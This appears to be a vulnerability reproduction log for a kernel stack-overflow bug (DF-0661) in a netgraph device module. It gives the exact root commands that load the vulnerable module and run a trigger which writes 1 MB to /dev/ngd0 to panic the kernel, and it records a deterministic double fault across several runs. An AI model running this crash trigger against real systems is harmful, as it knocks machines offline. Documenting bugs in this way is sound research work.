=== DF-0661 BASELINE RUN (unpatched #0 kernel, VULNERABLE ng_device.ko) ===

Command (as root in guest):
  kldload netgraph; kldload ng_echo; kldload /root/ng_device_build/ng_device.ko
  ngctl mkpeer device: echo lower downstream
  /root/ng_device_build/trigger /dev/ngd0 1048576

Output:
[*] DF-0661 trigger: opening /dev/ngd0, write count = 1048576
[+] opened /dev/ngd0 fd=3
[*] calling write(fd, buf, 1048576) -> ngdwrite() VLA char buffer[1048576] on kernel stack
<ssh session died -- kernel panicked>

The ssh command timed out (RC=124) and vm.sh status => down.

Reproduced TWICE (two independent vm.sh reset with-src + load + trigger cycles):
  Run 1: DOUBLE FAULT, rip=0xffffffff8263e5b8 (module base 0xffffffff8263e000, offset 0x5b8)
  Run 2: DOUBLE FAULT, rip=0xffffffff826455b8 (module base 0xffffffff82645000, offset 0x5b8)

Both runs: deterministic DOUBLE FAULT panic at the same offset within ng_device.

See panic.txt for the full serial console panic signature.

=== Fresh re-confirmation (2026-07-16, current with-src #0 guest) ===
Rebuilt ng_device.ko (ported to dev_ops, VLA preserved), loaded netgraph + ng_echo
+ ng_device, ngctl mkpeer device: echo lower downstream -> /dev/ngd0 created.
Trigger: /root/ng_device_build/trigger /dev/ngd0 1048576
  [*] opening /dev/ngd0, write count = 1048576
  [+] opened /dev/ngd0 fd=3
  [*] calling write(fd, buf, 1048576) -> ngdwrite() VLA char buffer[1048576] on kernel stack
  -> guest DOWN (ssh died), then auto-rebooted.
Result: deterministic crash on the oversized write (VLA stack overflow) -- REPRODUCED.
(The double-fault panic signature from two earlier independent runs is in
 panic.txt / panic_run2.txt.)